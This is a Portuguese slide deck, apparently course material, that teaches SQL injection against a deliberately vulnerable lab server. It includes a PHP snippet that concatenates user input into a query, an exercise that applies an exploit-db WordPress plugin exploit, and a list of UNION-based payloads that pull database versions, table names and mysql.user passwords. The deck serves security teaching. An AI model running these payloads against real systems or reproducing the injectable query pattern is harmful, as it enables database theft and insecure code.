A1 – SQL Injection na Prática!
COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
Exemplos Reais
Sumário
 Tipos de Injeção
 SQL Injection
 O que é SQL Injection?
 Quais são as implicações?
 Exemplo Cracker
 Servidor OWASP
 Exercícios 01
 Código Fonte
 Exercícios 02
 Referências OWASP
COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
A1 – Tipos de Injeção
https://www.owasp.org/index.php/Interpreter_Injection
A1 – Tipos de Injeção
 Injeção de LDAP: é uma técnica usada para explorar
sites da Web que constroem expressões LDAP de uma
entrada fornecida pelo usuário (WASC-29).
 Comandos de SO: técnica para explorar sites da Web
através da execução de comandos de sistema
operacional em campos de entrada (WASC-31).
 Injeção XPath: é uma técnica usada para explorar
sites que constroem consultas Xpath (linguagem para
endereçar elementos de documentos XML) a partir de
entradas fornecidas pelo usuário (WASC -39).
https://www.owasp.org/index.php/XPATH_Injection
WordPress - Vulnerability Statistics
SQL Injetion
 O que é?
 SQL (Structured Query Language) é uma linguagem de programação para a consulta de
bancos de dados.
 Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados
para consultar um banco de dados (BD).
 Quais são as implicações?
 Vazamento de informações através de mensagens de erro do BD.
 Dados extraídos de seu banco de dados .
 Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por
diante).
 Executar comandos em seu sistema.
 Comprometimento completo do sistema.
Exemplo cracker – www.exploit-db.com
Banco de Vulnerabilidades
• Common Vulnerabilities and Exposures (CVE) fornece uma referência de
método para conhecimento ao público, expoem as informações de
segurança, e as vulnerabilidades.
http://cve.mitre.org/about/terminology.html
Servidor OWASP
• Digite no Web Browser o ip que nosso Servidor forneceu.
http://code.google.com/p/owaspbwa/wiki/Downloads
Selecione a Aplicação WordPress
Exploração da Vulnerabilidade
Exercícios 01
 Entrar no site http://www.exploit-db.com
 Entrar no menu “search”
 Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.
 Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6
SQL Injection Vulnerability ”
 Aplique o exemplo dado no WordPress, armazenado em nosso
Servidor de Aplicações Vulneráveis.
Outros Bancos de Vulnerabilidades
http://www.securityfocus.com/
http://www.osvdb.org/
http://www.cvedetails.com/top-50-products.php
SQL Injection
 Abaixo a aplicação pesquisa o Usuário pelo ID.
 ID = 1 / First name: admin / Surname: admin
 Ao inserimos o Apostrofo (‘), no campo de
consulta, gerou um erro de banco de dados.
 You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near ''''' at line 1
Código Fonte
 <?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
 O Apostrofo está fechando a consulta SQL e formando
outra, como não há um filtro na Aplicação, o caracteres
interferiu diretamente no código gerando o Erro.
"SELECT first_name, last_name FROM users WHERE user_id = '$id''";
SQL INJECTION
SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';
Exercícios 02
 Escreva os comandos e analise os resultados.
 ' or ' 1 ' = ' 1
 ' or 1=1—
 ' union SELECT @@version'
 ' union SELECT @@version, null '
 ' union SELECT database(), null '
 1' UNION ALL SELECT user, password FROM mysql.user; --
priv;#'“
 a' UNION ALL SELECT system_user(),user();#'”
 a' UNION SELECT table_schema, table_name FROM
information_schema.tables;#'”
 ' union select user, password from users; -- priv;#'“
 ' union select user, password from users; -- '
Password’s usam o criptografia
MD5
Referências OWASP
 OWASP SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java
 OWASP Injection Flaws Article
https://www.owasp.org/index.php/Command_Injection
 OWASP Testing Guide: Chapter on SQL Injection Testing
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
 OWASP Code Review Guide: Command Injection
https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
 LDAP Injection
https://www.owasp.org/index.php/LDAP_injection
 XML Injection
https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29
 XPATH Injection
https://www.owasp.org/index.php/XPATH_Injection
 Log Injection
https://www.owasp.org/index.php/Log_injection
Referências Externas:
 CWE Entry 77 on Command Injection
http://cwe.mitre.org/data/definitions/77.html
 CWE Entry 89 on SQL Injection
http://cwe.mitre.org/data/definitions/89.html
 XSLT Injection
http://www.acunetix.com/blog/web-security-zone/articles/the-
hidden-dangers-of-xsltprocessor-remote-xsl-injection/

A1 - Sql Injection na Prática Parte 01

  • 1.
    A1 – SQLInjection na Prática! COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  • 2.
  • 3.
    Sumário  Tipos deInjeção  SQL Injection  O que é SQL Injection?  Quais são as implicações?  Exemplo Cracker  Servidor OWASP  Exercícios 01  Código Fonte  Exercícios 02  Referências OWASP COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  • 4.
    A1 – Tiposde Injeção https://www.owasp.org/index.php/Interpreter_Injection
  • 5.
    A1 – Tiposde Injeção  Injeção de LDAP: é uma técnica usada para explorar sites da Web que constroem expressões LDAP de uma entrada fornecida pelo usuário (WASC-29).  Comandos de SO: técnica para explorar sites da Web através da execução de comandos de sistema operacional em campos de entrada (WASC-31).  Injeção XPath: é uma técnica usada para explorar sites que constroem consultas Xpath (linguagem para endereçar elementos de documentos XML) a partir de entradas fornecidas pelo usuário (WASC -39). https://www.owasp.org/index.php/XPATH_Injection
  • 6.
  • 7.
    SQL Injetion  Oque é?  SQL (Structured Query Language) é uma linguagem de programação para a consulta de bancos de dados.  Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados para consultar um banco de dados (BD).  Quais são as implicações?  Vazamento de informações através de mensagens de erro do BD.  Dados extraídos de seu banco de dados .  Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por diante).  Executar comandos em seu sistema.  Comprometimento completo do sistema.
  • 8.
    Exemplo cracker –www.exploit-db.com
  • 9.
  • 10.
    • Common Vulnerabilitiesand Exposures (CVE) fornece uma referência de método para conhecimento ao público, expoem as informações de segurança, e as vulnerabilidades. http://cve.mitre.org/about/terminology.html
  • 11.
    Servidor OWASP • Digiteno Web Browser o ip que nosso Servidor forneceu. http://code.google.com/p/owaspbwa/wiki/Downloads
  • 12.
  • 13.
  • 14.
    Exercícios 01  Entrarno site http://www.exploit-db.com  Entrar no menu “search”  Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.  Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability ”  Aplique o exemplo dado no WordPress, armazenado em nosso Servidor de Aplicações Vulneráveis. Outros Bancos de Vulnerabilidades http://www.securityfocus.com/ http://www.osvdb.org/ http://www.cvedetails.com/top-50-products.php
  • 15.
    SQL Injection  Abaixoa aplicação pesquisa o Usuário pelo ID.  ID = 1 / First name: admin / Surname: admin
  • 16.
     Ao inserimoso Apostrofo (‘), no campo de consulta, gerou um erro de banco de dados.  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
  • 17.
    Código Fonte  <?php if(isset($_GET['Submit'])){ //Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
  • 18.
     O Apostrofoestá fechando a consulta SQL e formando outra, como não há um filtro na Aplicação, o caracteres interferiu diretamente no código gerando o Erro. "SELECT first_name, last_name FROM users WHERE user_id = '$id''"; SQL INJECTION SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';
  • 19.
    Exercícios 02  Escrevaos comandos e analise os resultados.  ' or ' 1 ' = ' 1  ' or 1=1—  ' union SELECT @@version'  ' union SELECT @@version, null '  ' union SELECT database(), null '  1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“  a' UNION ALL SELECT system_user(),user();#'”  a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”  ' union select user, password from users; -- priv;#'“  ' union select user, password from users; -- '
  • 20.
    Password’s usam ocriptografia MD5
  • 21.
    Referências OWASP  OWASPSQL Injection Prevention Cheat Sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java  OWASP Injection Flaws Article https://www.owasp.org/index.php/Command_Injection  OWASP Testing Guide: Chapter on SQL Injection Testing https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29  OWASP Code Review Guide: Command Injection https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection  LDAP Injection https://www.owasp.org/index.php/LDAP_injection  XML Injection https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29  XPATH Injection https://www.owasp.org/index.php/XPATH_Injection  Log Injection https://www.owasp.org/index.php/Log_injection
  • 22.
    Referências Externas:  CWEEntry 77 on Command Injection http://cwe.mitre.org/data/definitions/77.html  CWE Entry 89 on SQL Injection http://cwe.mitre.org/data/definitions/89.html  XSLT Injection http://www.acunetix.com/blog/web-security-zone/articles/the- hidden-dangers-of-xsltprocessor-remote-xsl-injection/